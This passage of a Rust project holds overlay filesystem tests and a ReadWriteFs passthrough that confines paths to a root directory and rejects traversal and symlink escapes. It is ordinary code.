 let meta = ov.stat(Path::new(\"/README.md\")).unwrap();\n    assert_eq!(meta.node_type, NodeType::File);\n    assert_eq!(meta.size, 7); // \"# Hello\"\n}\n\n#[test]\nfn lstat_on_lower_file() {\n    let tmp = setup_lower();\n    let ov = make_overlay(tmp.path());\n\n    let meta = ov.lstat(Path::new(\"/README.md\")).unwrap();\n    assert_eq!(meta.node_type, NodeType::File);\n}\n\n#[test]\nfn chmod_lower_file_copies_up() {\n    let tmp = setup_lower();\n    let ov = make_overlay(tmp.path());\n\n    ov.chmod(Path::new(\"/README.md\"), 0o755).unwrap();\n    let meta = ov.stat(Path::new(\"/README.md\")).unwrap();\n    assert_eq!(meta.mode, 0o755);\n\n    // Content preserved\n    assert_eq!(ov.read_file(Path::new(\"/README.md\")).unwrap(), b\"# Hello\");\n\n    // Lower untouched\n    let disk_meta = std::fs::metadata(tmp.path().join(\"README.md\")).unwrap();\n    assert_ne!(\n        disk_meta.permissions().mode() & 0o777,\n        0o755,\n        \"lower should not be modified\"\n    );\n}\n\n#[test]\nfn utimes_lower_file_copies_up() {\n    let tmp = setup_lower();\n    let ov = make_overlay(tmp.path());\n\n    let new_time = SystemTime::UNIX_EPOCH;\n    ov.utimes(Path::new(\"/README.md\"), new_time).unwrap();\n    let meta = ov.stat(Path::new(\"/README.md\")).unwrap();\n    assert_eq!(meta.mtime, new_time);\n}\n\n// -----------------------------------------------------------------------\n// Additional edge cases\n// -----------------------------------------------------------------------\n\n#[test]\nfn exists_root() {\n    let tmp = setup_lower();\n    let ov = make_overlay(tmp.path());\n    assert!(ov.exists(Path::new(\"/\")));\n}\n\n#[test]\nfn readdir_root_merges_both_layers() {\n    let tmp = setup_lower();\n    let ov = make_overlay(tmp.path());\n\n    ov.write_file(Path::new(\"/upper_only.txt\"), b\"hi\").unwrap();\n\n    let entries = ov.readdir(Path::new(\"/\")).unwrap();\n    let names: Vec<&str> = entries.iter().map(|e| e.name.as_str()).collect();\n    assert!(names.contains(&\"README.md\")); // lower\n    assert!(names.contains(&\"src\")); // lower dir\n    assert!(names.contains(&\"upper_only.txt\")); // upper\n}\n\n#[test]\nfn copy_from_lower_to_upper() {\n    let tmp = setup_lower();\n    let ov = make_overlay(tmp.path());\n\n    ov.copy(Path::new(\"/README.md\"), Path::new(\"/README_copy.md\"))\n        .unwrap();\n    assert_eq!(\n        ov.read_file(Path::new(\"/README_copy.md\")).unwrap(),\n        b\"# Hello\"\n    );\n    // Lower untouched\n    assert!(!tmp.path().join(\"README_copy.md\").exists());\n}\n\n#[test]\nfn remove_file_then_recreate() {\n    let tmp = setup_lower();\n    let ov = make_overlay(tmp.path());\n\n    ov.remove_file(Path::new(\"/README.md\")).unwrap();\n    assert!(!ov.exists(Path::new(\"/README.md\")));\n\n    ov.write_file(Path::new(\"/README.md\"), b\"new content\")\n        .unwrap();\n    assert_eq!(\n        ov.read_file(Path::new(\"/README.md\")).unwrap(),\n        b\"new content\"\n    );\n}\n\n#[test]\nfn hardlink_from_lower() {\n    let tmp = setup_lower();\n    let ov = make_overlay(tmp.path());\n\n    ov.hardlink(Path::new(\"/README.md\"), Path::new(\"/link.md\"))\n        .unwrap();\n    assert_eq!(ov.read_file(Path::new(\"/link.md\")).unwrap(), b\"# Hello\");\n\n    // Modifying one doesn't affect the other (no real hardlink in overlay)\n    ov.write_file(Path::new(\"/link.md\"), b\"changed\").unwrap();\n    assert_eq!(ov.read_file(Path::new(\"/README.md\")).unwrap(), b\"# Hello\");\n}\n\n#[test]\nfn symlink_in_upper() {\n    let tmp = setup_lower();\n    let ov = make_overlay(tmp.path());\n\n    ov.symlink(Path::new(\"/README.md\"), Path::new(\"/link_to_readme\"))\n        .unwrap();\n    let target = ov.readlink(Path::new(\"/link_to_readme\")).unwrap();\n    assert_eq!(target, PathBuf::from(\"/README.md\"));\n\n    // Reading through the symlink should work\n    let content = ov.read_file(Path::new(\"/link_to_readme\")).unwrap();\n    assert_eq!(content, b\"# Hello\");\n}\n\n#[test]\nfn glob_absolute_pattern() {\n    let tmp = setup_lower();\n    let ov = make_overlay(tmp.path());\n\n    let mut matches = ov.glob(\"/data/*\", Path::new(\"/\")).unwrap();\n    matches.sort();\n    assert_eq!(matches, vec![PathBuf::from(\"/data/config.toml\")]);\n}\n\n#[test]\nfn deep_clone_whiteout_isolation() {\n    let tmp = setup_lower();\n    let ov = make_overlay(tmp.path());\n\n    let clone = ov.deep_clone();\n    clone.remove_file(Path::new(\"/README.md\")).unwrap();\n\n    // Original still has the file\n    assert!(ov.exists(Path::new(\"/README.md\")));\n    // Clone does not\n    assert!(!clone.exists(Path::new(\"/README.md\")));\n}\n\nuse std::os::unix::fs::PermissionsExt;\n\n#[test]\nfn chmod_lower_preserves_original_permissions() {\n    let tmp = setup_lower();\n    // Set specific permissions on the lower file\n    let lower_path = tmp.path().join(\"README.md\");\n    std::fs::set_permissions(&lower_path, std::fs::Permissions::from_mode(0o644)).unwrap();\n\n    let ov = make_overlay(tmp.path());\n    ov.chmod(Path::new(\"/README.md\"), 0o700).unwrap();\n\n    // Overlay reports new mode\n    assert_eq!(ov.stat(Path::new(\"/README.md\")).unwrap().mode, 0o700);\n\n    // Lower file still has old mode\n    let lower_meta = std::fs::metadata(&lower_path).unwrap();\n    assert_eq!(lower_meta.permissions().mode() & 0o777, 0o644);\n}\n\n#[test]\nfn remove_dir_empty_upper_dir() {\n    let tmp = setup_lower();\n    let ov = make_overlay(tmp.path());\n\n    ov.mkdir(Path::new(\"/empty_dir\")).unwrap();\n    assert!(ov.exists(Path::new(\"/empty_dir\")));\n\n    ov.remove_dir(Path::new(\"/empty_dir\")).unwrap();\n    assert!(!ov.exists(Path::new(\"/empty_dir\")));\n}\n\n#[test]\nfn mkdir_after_rmdir() {\n    let tmp = setup_lower();\n    let ov = make_overlay(tmp.path());\n\n    // Remove a lower-only directory (must be empty first)\n    ov.remove_file(Path::new(\"/data/config.toml\")).unwrap();\n    ov.remove_dir(Path::new(\"/data\")).unwrap();\n    assert!(!ov.exists(Path::new(\"/data\")));\n\n    // Re-create it\n    ov.mkdir(Path::new(\"/data\")).unwrap();\n    assert!(ov.exists(Path::new(\"/data\")));\n}\n\n#[test]\nfn canonicalize_lower_path() {\n    let tmp = setup_lower();\n    let ov = make_overlay(tmp.path());\n\n    let canon = ov.canonicalize(Path::new(\"/src/main.rs\")).unwrap();\n    assert_eq!(canon, PathBuf::from(\"/src/main.rs\"));\n}\n\n#[test]\nfn canonicalize_upper_path() {\n    let tmp = setup_lower();\n    let ov = make_overlay(tmp.path());\n\n    ov.write_file(Path::new(\"/upper.txt\"), b\"hi\").unwrap();\n    let canon = ov.canonicalize(Path::new(\"/upper.txt\")).unwrap();\n    assert_eq!(canon, PathBuf::from(\"/upper.txt\"));\n}\n\n#[test]\nfn canonicalize_nonexistent_fails() {\n    let tmp = setup_lower();\n    let ov = make_overlay(tmp.path());\n\n    assert!(ov.canonicalize(Path::new(\"/no/such/path\")).is_err());\n}\n\n#[test]\nfn stat_directory_from_lower() {\n    let tmp = setup_lower();\n    let ov = make_overlay(tmp.path());\n\n    let meta = ov.stat(Path::new(\"/src\")).unwrap();\n    assert_eq!(meta.node_type, NodeType::Directory);\n}\n\n#[test]\nfn write_to_nested_new_dir() {\n    let tmp = setup_lower();\n    let ov = make_overlay(tmp.path());\n\n    ov.mkdir_p(Path::new(\"/a/b/c\")).unwrap();\n    ov.write_file(Path::new(\"/a/b/c/file.txt\"), b\"deep\")\n        .unwrap();\n    assert_eq!(ov.read_file(Path::new(\"/a/b/c/file.txt\")).unwrap(), b\"deep\");\n}\n\n// -----------------------------------------------------------------------\n// Additional edge cases suggested by review\n// -----------------------------------------------------------------------\n\n#[test]\nfn mkdir_p_after_remove_dir_all_does_not_resurrect_siblings() {\n    let tmp = setup_lower();\n    let ov = make_overlay(tmp.path());\n\n    // Lower has /data/config.toml\n    assert!(ov.exists(Path::new(\"/data/config.toml\")));\n\n    // Remove everything under /data\n    ov.remove_dir_all(Path::new(\"/data\")).unwrap();\n    assert!(!ov.exists(Path::new(\"/data\")));\n    assert!(!ov.exists(Path::new(\"/data/config.toml\")));\n\n    // Re-create /data/sub — config.toml must NOT reappear\n    ov.mkdir_p(Path::new(\"/data/sub\")).unwrap();\n    assert!(ov.exists(Path::new(\"/data/sub\")));\n    assert!(!ov.exists(Path::new(\"/data/config.toml\")));\n\n    let entries = ov.readdir(Path::new(\"/data\")).unwrap();\n    let names: Vec<&str> = entries.iter().map(|e| e.name.as_str()).collect();\n    assert_eq!(names, vec![\"sub\"]);\n}\n\n#[test]\nfn remove_dir_nonempty_merged_directory() {\n    let tmp = setup_lower();\n    let ov = make_overlay(tmp.path());\n\n    // /data has config.toml from lower — remove_dir should fail\n    let result = ov.remove_dir(Path::new(\"/data\"));\n    assert!(result.is_err());\n}\n\n#[test]\nfn append_file_nonexistent_returns_not_found() {\n    let tmp = setup_lower();\n    let ov = make_overlay(tmp.path());\n\n    let result = ov.append_file(Path::new(\"/no_such_file.txt\"), b\"data\");\n    assert!(result.is_err());\n}\n\n#[test]\nfn glob_excludes_whiteouts() {\n    let tmp = setup_lower();\n    let ov = make_overlay(tmp.path());\n\n    ov.remove_file(Path::new(\"/data/config.toml\")).unwrap();\n\n    // Glob should not return the whiteout-ed file\n    let matches = ov.glob(\"*\", Path::new(\"/data\")).unwrap();\n    assert!(matches.is_empty());\n}\n\n#[test]\nfn rename_directory_with_mixed_layer_children() {\n    let tmp = setup_lower();\n    let ov = make_overlay(tmp.path());\n\n    // Add an upper-only file alongside the lower-only file\n    ov.write_file(Path::new(\"/src/upper_file.rs\"), b\"upper\")\n        .unwrap();\n\n    // Rename the directory\n    ov.rename(Path::new(\"/src\"), Path::new(\"/source\")).unwrap();\n\n    // Both children should be under the new name\n    assert_eq!(\n        ov.read_file(Path::new(\"/source/main.rs\")).unwrap(),\n        b\"fn main() {}\"\n    );\n    assert_eq!(\n        ov.read_file(Path::new(\"/source/upper_file.rs\")).unwrap(),\n        b\"upper\"\n    );\n\n    // Old name should be gone\n    assert!(!ov.exists(Path::new(\"/src\")));\n    assert!(!ov.exists(Path::new(\"/src/main.rs\")));\n}\n\n// -----------------------------------------------------------------------\n// FIX 1: ensure_upper_dir_path clears ancestor whiteouts\n// -----------------------------------------------------------------------\n\n#[test]\nfn write_file_under_removed_dir_all_is_visible() {\n    let tmp = setup_lower();\n    let ov = make_overlay(tmp.path());\n\n    // /data exists in lower with config.toml\n    assert!(ov.exists(Path::new(\"/data/config.toml\")));\n\n    // Remove the entire /data tree\n    ov.remove_dir_all(Path::new(\"/data\")).unwrap();\n    assert!(!ov.exists(Path::new(\"/data\")));\n\n    // Write a new file under /data — ensure_upper_dir_path must clear the\n    // whiteout on /data for this to become visible.\n    ov.write_file(Path::new(\"/data/new.txt\"), b\"hello\").unwrap();\n    assert!(ov.exists(Path::new(\"/data\")));\n    assert!(ov.exists(Path::new(\"/data/new.txt\")));\n    assert_eq!(ov.read_file(Path::new(\"/data/new.txt\")).unwrap(), b\"hello\");\n\n    // The old file must NOT reappear\n    assert!(!ov.exists(Path::new(\"/data/config.toml\")));\n}\n\n#[test]\nfn mkdir_under_whiteout_ancestor() {\n    let tmp = setup_lower();\n    let ov = make_overlay(tmp.path());\n\n    // Remove /data entirely\n    ov.remove_dir_all(Path::new(\"/data\")).unwrap();\n    assert!(!ov.exists(Path::new(\"/data\")));\n\n    // mkdir (not mkdir_p) a new dir under a re-created parent\n    ov.mkdir_p(Path::new(\"/data\")).unwrap();\n    ov.mkdir(Path::new(\"/data/sub\")).unwrap();\n    assert!(ov.exists(Path::new(\"/data/sub\")));\n\n    // Old children still gone\n    assert!(!ov.exists(Path::new(\"/data/config.toml\")));\n}\n\n// -----------------------------------------------------------------------\n// FIX 5: append_file / chmod / utimes follow symlinks through overlay\n// -----------------------------------------------------------------------\n\n#[test]\nfn append_through_symlink_to_lower_file() {\n    let tmp = setup_lower();\n    let ov = make_overlay(tmp.path());\n\n    // Create a symlink in upper pointing to a lower-layer file\n    ov.symlink(Path::new(\"/README.md\"), Path::new(\"/link_to_readme\"))\n        .unwrap();\n\n    // Append through the symlink\n    ov.append_file(Path::new(\"/link_to_readme\"), b\" world\")\n        .unwrap();\n\n    // The target file should have the appended content\n    assert_eq!(\n        ov.read_file(Path::new(\"/README.md\")).unwrap(),\n        b\"# Hello world\"\n    );\n    // Reading through the symlink should also work\n    assert_eq!(\n        ov.read_file(Path::new(\"/link_to_readme\")).unwrap(),\n        b\"# Hello world\"\n    );\n}\n\n#[test]\nfn chmod_through_symlink() {\n    let tmp = setup_lower();\n    let ov = make_overlay(tmp.path());\n\n    ov.symlink(Path::new(\"/README.md\"), Path::new(\"/link_readme\"))\n        .unwrap();\n    ov.chmod(Path::new(\"/link_readme\"), 0o700).unwrap();\n\n    // The target file should have the new mode\n    assert_eq!(ov.stat(Path::new(\"/README.md\")).unwrap().mode, 0o700);\n}\n\n#[test]\nfn utimes_through_symlink() {\n    let tmp = setup_lower();\n    let ov = make_overlay(tmp.path());\n\n    ov.symlink(Path::new(\"/README.md\"), Path::new(\"/link_readme\"))\n        .unwrap();\n    let new_time = SystemTime::UNIX_EPOCH;\n    ov.utimes(Path::new(\"/link_readme\"), new_time).unwrap();\n\n    assert_eq!(ov.stat(Path::new(\"/README.md\")).unwrap().mtime, new_time);\n}\n","/home/user/src/vfs/readwrite.rs":"//! ReadWriteFs — thin `std::fs` passthrough implementing `VirtualFs`.\n//!\n//! When `root` is set, all paths are resolved relative to it and path\n//! traversal beyond the root is rejected with `PermissionDenied`.\n//!\n//! # Safety (TOCTOU)\n//!\n//! Between path resolution and the actual `std::fs` operation, symlinks\n//! could theoretically be swapped. This is inherent to real-FS operations\n//! and matches the behavior of other chroot-like implementations.\n\nuse std::io::Write;\nuse std::os::unix::fs::PermissionsExt;\nuse std::path::{Component, Path, PathBuf};\nuse std::sync::Arc;\n\nuse crate::platform::SystemTime;\n\nuse crate::error::VfsError;\nuse crate::interpreter::pattern::glob_match;\n\nuse super::{DirEntry, Metadata, NodeType, VirtualFs};\n\n/// A passthrough filesystem backed by `std::fs`.\n///\n/// With no root restriction, all operations delegate directly to the real\n/// filesystem. When a root is set, paths are confined to the subtree under\n/// that root — acting like a lightweight chroot.\n///\n/// # Example\n///\n/// ```ignore\n/// use rust_bash::{RustBashBuilder, ReadWriteFs};\n/// use std::sync::Arc;\n///\n/// let rwfs = ReadWriteFs::with_root(\"/tmp/sandbox\").unwrap();\n/// let mut shell = RustBashBuilder::new()\n///     .fs(Arc::new(rwfs))\n///     .cwd(\"/\")\n///     .build()\n///     .unwrap();\n///\n/// shell.exec(\"echo hello > /output.txt\").unwrap(); // writes to /tmp/sandbox/output.txt\n/// ```\npub struct ReadWriteFs {\n    root: Option<PathBuf>,\n}\n\nimpl ReadWriteFs {\n    /// Create a ReadWriteFs with unrestricted access to the real filesystem.\n    pub fn new() -> Self {\n        Self { root: None }\n    }\n\n    /// Create a ReadWriteFs restricted to paths under `root`.\n    ///\n    /// All paths are resolved relative to `root`. Path traversal beyond\n    /// `root` (via `..` or symlinks) is rejected with `PermissionDenied`.\n    /// The root directory must exist and is canonicalized on construction.\n    pub fn with_root(root: impl Into<PathBuf>) -> std::io::Result<Self> {\n        let root = root.into().canonicalize()?;\n        Ok(Self { root: Some(root) })\n    }\n\n    /// Resolve a virtual path to a real filesystem path (does not follow the\n    /// final path component if it is a symlink).\n    ///\n    /// When `root` is None, paths are returned as-is.\n    /// When `root` is set:\n    /// 1. Strip leading `/` from path, join with root\n    /// 2. Logically normalize (resolve `.` and `..`)\n    /// 3. Canonicalize the *parent* of the final component (follows symlinks\n    ///    in intermediate directories for security)\n    /// 4. Append the final component without following it\n    /// 5. Verify result starts with root\n    fn resolve(&self, path: &Path) -> Result<PathBuf, VfsError> {\n        let Some(root) = &self.root else {\n            return Ok(path.to_path_buf());\n        };\n\n        // Strip leading '/' to make the path relative to root.\n        let lossy = path.to_string_lossy();\n        let rel_str = lossy.trim_start_matches('/');\n        let joined = if rel_str.is_empty() {\n            root.clone()\n        } else {\n            root.join(rel_str)\n        };\n\n        // Logically resolve . and .. without touching the filesystem.\n        let normalized = logical_normalize(&joined);\n\n        // Quick check: after logical normalization, must still be under root.\n        if !normalized.starts_with(root) {\n            return Err(VfsError::PermissionDenied(path.to_path_buf()));\n        }\n\n        // If the normalized path IS root (e.g., virtual \"/\"), canonicalize it.\n        if normalized == *root {\n            return Ok(root.clone());\n        }\n\n        // Split into parent and final component.\n        let name = normalized\n            .file_name()\n            .expect(\"normalized path has a filename\")\n            .to_owned();\n        let parent = normalized.parent().unwrap_or(root);\n\n        // Canonicalize the parent (follows symlinks in intermediate dirs).\n        let canonical_parent = canonicalize_existing(parent, path, root)?;\n\n        // Security check on the parent.\n        if !canonical_parent.starts_with(root) {\n            return Err(VfsError::PermissionDenied(path.to_path_buf()));\n        }\n\n        Ok(canonical_parent.join(name))\n    }\n\n    /// Like `resolve`, but also verifies that the *final* component (if it\n    /// is a symlink) doesn't escape the root.  Use for operations that follow\n    /// symlinks (read_file, stat, write_file, etc.).\n    ///\n    /// When the final component is a symlink, returns the canonical (target)\n    /// path to close the TOCTOU gap for the last component.\n    fn resolve_follow(&self, path: &Path) -> Result<PathBuf, VfsError> {\n        let resolved = self.resolve(path)?;\n        if let Some(root) = &self.root {\n            match std::fs::symlink_metadata(&resolved) {\n                Ok(meta) if meta.is_symlink() => {\n                    let canonical =\n                        std::fs::canonicalize(&resolved).map_err(|e| map_io_error(e, path))?;\n                    if !canonical.starts_with(root) {\n                        return Err(VfsError::PermissionDenied(path.to_path_buf()));\n                    }\n                    return Ok(canonical);\n                }\n                Ok(_) => {}\n                Err(e) if e.kind() == std::io::ErrorKind::NotFound => {}\n                Err(e) => return Err(map_io_error(e, path)),\n            }\n        }\n        Ok(resolved)\n    }\n\n    /// Check whether a real path is within the root (for glob walking).\n    fn is_within_root(&self, real_path: &Path) -> bool {\n        let Some(root) = &self.root else {\n            return true;\n        };\n        match std::fs::canonicalize(real_path) {\n            Ok(canonical) => canonical.starts_with(root),\n            Err(_) => real_path.starts_with(root),\n        }\n    }\n\n    /// Recursive glob walker over the real directory tree.\n    fn glob_walk(\n        &self,\n        real_dir: &Path,\n        components: &[&str],\n        virtual_path: PathBuf,\n        results: &mut Vec<PathBuf>,\n        max: usize,\n    ) {\n        if results.len() >= max || components.is_empty() {\n            if components.is_empty() {\n                results.push(virtual_path);\n            }\n            return;\n        }\n\n        let pattern = components[0];\n        let rest = &components[1..];\n\n        if pattern == \"**\" {\n            // Zero directories — advance past **\n            self.glob_walk(real_dir, rest, virtual_path.clone(), results, max);\n\n            // One or more directories — recurse into each child\n            let Ok(entries) = std::fs::read_dir(real_dir) else {\n                return;\n            };\n            for entry in entries.flatten() {\n                if results.len() >= max {\n                    return;\n                }\n                let name = entry.file_name().to_string_lossy().into_owned();\n                if name.starts_with('.') {\n                    continue;\n                }\n                let child_real = real_dir.join(&name);\n                let child_virtual = virtual_path.join(&name);\n\n                let is_dir = entry\n                    .file_type()\n                    .is_ok_and(|ft| ft.is_dir() || ft.is_symlink());\n                if is_dir && self.is_within_root(&child_real) {\n                    // Continue with ** (recurse deeper)\n                    self.glob_walk(&child_real, components, child_virtual, results, max);\n                }\n            }\n        } else {\n            let Ok(entries) = std::fs::read_dir(real_dir) else {\n                return;\n            };\n            for entry in entries.flatten() {\n                if results.len() >= max {\n                    return;\n                }\n                let name = entry.file_name().to_string_lossy().into_owned();\n                // Skip hidden files unless pattern explicitly starts with '.'\n                if name.starts_with('.') && !pattern.starts_with('.') {\n                    continue;\n                }\n                if glob_match(pattern, &name) {\n                    let child_real = real_dir.join(&name);\n                    let child_virtual = virtual_path.join(&name);\n                    if rest.is_empty() {\n                        results.push(child_virtual);\n                    } else {\n                        let is_dir = entry\n                            .file_type()\n                            .is_ok_and(|ft| ft.is_dir() || ft.is_symlink());\n                        if is_dir && self.is_within_root(&child_real) {\n                            self.glob_walk(&child_real, rest, child_virtual, results, max);\n                        }\n                    }\n                }\n            }\n        }\n    }\n}\n\nimpl Default for ReadWriteFs {\n    fn default() -> Self {\n        Self::new()\n    }\n}\n\n// ---------------------------------------------------------------------------\n// VirtualFs implementation\n// ---------------------------------------------------------------------------\n\nimpl VirtualFs for ReadWriteFs {\n    fn read_file(&self, path: &Path) -> Result<Vec<u8>, VfsError> {\n        let resolved = self.resolve_follow(path)?;\n        std::fs::read(&resolved).map_err(|e| map_io_error(e, path))\n    }\n\n    fn write_file(&self, path: &Path, content: &[u8]) -> Result<(), VfsError> {\n        let resolved = self.resolve_follow(path)?;\n        std::fs::write(&resolved, content).map_err(|e| map_io_error(e, path))\n    }\n\n    fn append_file(&self, path: &Path, content: &[u8]) -> Result<(), VfsError> {\n        let resolved = self.resolve_follow(path)?;\n        let mut file = std::fs::OpenOptions::new()\n            .append(true)\n            .open(&resolved)\n            .map_err(|e| map_io_error(e, path))?;\n        file.write_all(content).map_err(|e| map_io_error(e, path))\n    }\n\n    fn remove_file(&self, path: &Path) -> Result<(), VfsError> {\n        let resolved = self.resolve(path)?;\n        std::fs::remove_file(&resolved).map_err(|e| map_io_error(e, path))\n    }\n\n    fn mkdir(&self, path: &Path) -> Result<(), VfsError> {\n        let resolved = self.resolve(path)?;\n        std::fs::create_dir(&resolved).map_err(|e| map_io_error(e, path))\n    }\n\n    fn mkdir_p(&self, path: &Path) -> Result<(), VfsError> {\n        let resolved = self.resolve(path)?;\n        std::fs::create_dir_all(&resolved).map_err(|e| map_io_error(e, path))\n    }\n\n    fn readdir(&self, path: &Path) -> Result<Vec<DirEntry>, VfsError> {\n        let resolved = self.resolve_follow(path)?;\n        let entries = std::fs::read_dir(&resolved).map_err(|e| map_io_error(e, path))?;\n        let mut result = Vec::new();\n        for entry in entries {\n            let entry = entry.map_err(|e| map_io_error(e, path))?;\n            let ft = entry.file_type().map_err(|e| map_io_error(e, path))?;\n            let node_type = if ft.is_dir() {\n                NodeType::Directory\n            } else if ft.is_symlink() {\n                NodeType::Symlink\n            } else {\n                NodeType::File\n            };\n            result.push(DirEntry {\n                name: entry.file_name().to_string_lossy().into_owned(),\n                node_type,\n            });\n        }\n        Ok(result)\n    }\n\n    fn remove_dir(&self, path: &Path) -> Result<(), VfsError> {\n        let resolved = self.resolve(path)?;\n        std::fs::remove_dir(&resolved).map_err(|e| map_io_error(e, path))\n    }\n\n    fn remove_dir_all(&self, path: &Path) -> Result<(), VfsError> {\n        let resolved = self.resolve(path)?;\n        std::fs::remove_dir_all(&resolved).map_err(|e| map_io_error(e, path))\n    }\n\n    fn exists(&self, path: &Path) -> bool {\n        match self.resolve(path) {\n            Ok(resolved) => resolved.exists(),\n            Err(_) => false,\n        }\n    }\n\n    fn stat(&self, path: &Path) -> Result<Metadata, VfsError> {\n        let resolved = self.resolve_follow(path)?;\n        let meta = std::fs::metadata(&resolved).map_err(|e| map_io_error(e, path))?;\n        Ok(map_metadata(&meta))\n    }\n\n    fn lstat(&self, path: &Path) -> Result<Metadata, VfsError> {\n        let resolved = self.resolve(path)?;\n        let meta = std::fs::symlink_metadata(&resolved).map_err(|e| map_io_error(e, path))?;\n        Ok(map_metadata(&meta))\n    }\n\n    fn chmod(&self, path: &Path, mode: u32) -> Result<(), VfsError> {\n        let resolved = self.resolve_follow(path)?;\n        let perms = std::fs::Permissions::from_mode(mode);\n        std::fs::set_permissions(&resolved, perms).map_err(|e| map_io_error(e, path))\n    }\n\n    fn utimes(&self, path: &Path, mtime: SystemTime) -> Result<(), VfsError> {\n        let resolved = self.resolve_follow(path)?;\n        let file = std::fs::File::options()\n            .write(true)\n            .open(&resolved)\n            .map_err(|e| map_io_error(e, path))?;\n        file.set_times(std::fs::FileTimes::new().set_modified(mtime))\n            .map_err(|e| map_io_error(e, path))\n    }\n\n    fn symlink(&self, target: &Path, link: &Path) -> Result<(), VfsError> {\n        let resolved_link = self.resolve(link)?;\n        // If rooted and target is absolute, resolve it too so the on-disk\n        // symlink points to the correct real location.\n        let actual_target = if target.is_absolute() && self.root.is_some() {\n            self.resolve(target)?\n        } else {\n            target.to_path_buf()\n        };\n        std::os::unix::fs::symlink(&actual_target, &resolved_link)\n            .map_err(|e| map_io_error(e, link))\n    }\n\n    fn hardlink(&self, src: &Path, dst: &Path) -> Result<(), VfsError> {\n        let resolved_src = self.resolve_follow(src)?;\n        let resolved_dst = self.resolve(dst)?;\n        std::fs::hard_link(&resolved_src, &resolved_dst).map_err(|e| {\n            if e.kind() == std::io::ErrorKind::NotFound {\n                map_io_error(e, src)\n            } else {\n                map_io_error(e, dst)\n            }\n        })\n    }\n\n    fn readlink(&self, path: &Path) -> Result<PathBuf, VfsError> {\n        let resolved = self.resolve(path)?;\n        let target = std::fs::read_link(&resolved).map_err(|e| map_io_error(e, path))?;\n        // If rooted and target is absolute, convert back to virtual.\n        if let Some(root) = &self.root\n            && target.is_absolute()\n            && let Ok(rel) = target.strip_prefix(root)\n        {\n            return Ok(PathBuf::from(\"/\").join(rel));\n        }\n        Ok(target)\n    }\n\n    fn canonicalize(&self, path: &Path) -> Result<PathBuf, VfsError> {\n        let resolved = self.resolve(path)?;\n        let canonical = std::fs::canonicalize(&resolved).map_err(|e| map_io_error(e, path))?;\n        if let Some(root) = &self.root {\n            if !canonical.starts_with(root) {\n                return Err(VfsError::PermissionDenied(path.to_path_buf()));\n            }\n            let rel = canonical.strip_prefix(root).unwrap();\n            Ok(PathBuf::from(\"/\").join(rel))\n        } else {\n            Ok(canonical)\n        }\n    }\n\n    fn copy(&self, src: &Path, dst: &Path) -> Result<(), VfsError> {\n        let resolved_src = self.resolve_follow(src)?;\n        let resolved_dst = self.resolve(dst)?;\n        std::fs::copy(&resolved_src, &resolved_dst).map_err(|e| {\n            if e.kind() == std::io::ErrorKind::NotFound {\n                map_io_error(e, src)\n            } else {\n                map_io_error(e, dst)\n            }\n        })?;\n        Ok(())\n    }\n\n    fn rename(&self, src: &Path, dst: &Path) -> Result<(), VfsError> {\n        let resolved_src = self.resolve(src)?;\n        let resolved_dst = self.resolve(dst)?;\n        std::fs::rename(&resolved_src, &resolved_dst).map_err(|e| {\n            if e.kind() == std::io::ErrorKind::NotFound {\n                map_io_error(e, src)\n            } else {\n                map_io_error(e, dst)\n            }\n        })\n    }\n\n    fn glob(&self, pattern: &str, cwd: &Path) -> Result<Vec<PathBuf>, VfsError> {\n        let is_absolute = pattern.starts_with('/');\n        let abs_pattern = if is_absolute {\n            pattern.to_string()\n        } else {\n            let cwd_str = cwd.to_str().unwrap_or(\"/\").trim_end_matches('/');\n            format!(\"{cwd_str}/{pattern}\")\n        };\n\n        let components: Vec<&str> = abs_pattern.split('/').filter(|s| !s.is_empty()).collect();\n\n        // Always walk from the real root — pattern components are absolute.\n        let real_root = self.resolve(Path::new(\"/\"))?;\n\n        let mut results = Vec::new();\n        let max = 100_000;\n        self.glob_walk(\n            &real_root,\n            &components,\n            PathBuf::from(\"/\"),\n            &mut results,\n            max,\n        );\n\n        results.sort();\n        results.dedup();\n\n        if !is_absolute {\n            results = results\n                .into_iter()\n                .filter_map(|p| p.strip_prefix(cwd).ok().map(|r| r.to_path_buf()))\n                .collect();\n        }\n\n        Ok(results)\n    }\n\n    fn deep_clone(&self) -> Arc<dyn VirtualFs> {\n        // ReadWriteFs is a passthrough — there's no in-memory state to isolate.\n        // Subshell writes hit the real filesystem, same as the parent.\n        Arc::new(Self {\n            root: self.root.clone(),\n        })\n    }\n}\n\n// ---------------------------------------------------------------------------\n// Helpers\n// ---------------------------------------------------------------------------\n\n/// Logically normalize a path by resolving `.` and `..` without filesystem access.\nfn logical_normalize(path: &Path) -> PathBuf {\n    let mut parts: Vec<&std::ffi::OsStr> = Vec::new();\n    for comp in path.components() {\n        match comp {\n            Component::RootDir | Component::Prefix(_) => {\n                parts.clear();\n            }\n            Component::CurDir => {}\n            Component::ParentDir => {\n                parts.pop();\n            }\n            Component::Normal(c) => parts.push(c),\n        }\n    }\n    let mut result = PathBuf::from(\"/\");\n    for part in parts {\n        result.push(part);\n    }\n    result\n}\n\n/// Canonicalize a path, walking up to find the deepest existing ancestor\n/// when the full path doesn't exist.  Non-existent tail components are\n/// appended back after canonicalizing the existing prefix.\nfn canonicalize_existing(path: &Path, original: &Path, root: &Path) -> Result<PathBuf, VfsError> {\n    let mut existing = path.to_path_buf();\n    let mut tail: Vec<std::ffi::OsString> = Vec::new();\n    while !existing.exists() {\n        match existing.file_name() {\n            Some(name) => {\n                tail.push(name.to_owned());\n                existing.pop();\n            }\n            None => break,\n        }\n    }\n    let canonical = if existing.exists() {\n        std::fs::canonicalize(&existing).map_err(|e| map_io_error(e, original))?\n    } else {\n        existing\n    };\n\n    // Security check on the canonicalized existing portion.\n    if !canonical.starts_with(root) {\n        return Err(VfsError::PermissionDenied(original.to_path_buf()));\n    }\n\n    let mut result = canonical;\n    for component in tail.into_iter().rev() {\n        result.push(component);\n    }\n    Ok(result)\n}\n\n/// Map `std::io::Error` to `VfsError`.\nfn map_io_error(err: std::io::Error, path: &Path) -> VfsError {\n    let p = path.to_path_buf();\n    match err.kind() {\n        std::io::ErrorKind::NotFound => VfsError::NotFound(p),\n        std::io::ErrorKind::AlreadyExists => VfsError::AlreadyExists(p),\n        std::io::ErrorKind::PermissionDenied => VfsError::PermissionDenied(p),\n        std::io::ErrorKind::DirectoryNotEmpty => VfsError::DirectoryNotEmpty(p),\n        std::io::ErrorKind::NotADirectory => VfsError::NotADirectory(p),\n        std::io::ErrorKind::IsADirectory => VfsError::IsADirectory(p),\n        _ => VfsError::IoError(err.to_string()),\n    }\n}\n\n/// Map `std::fs::Metadata` to our 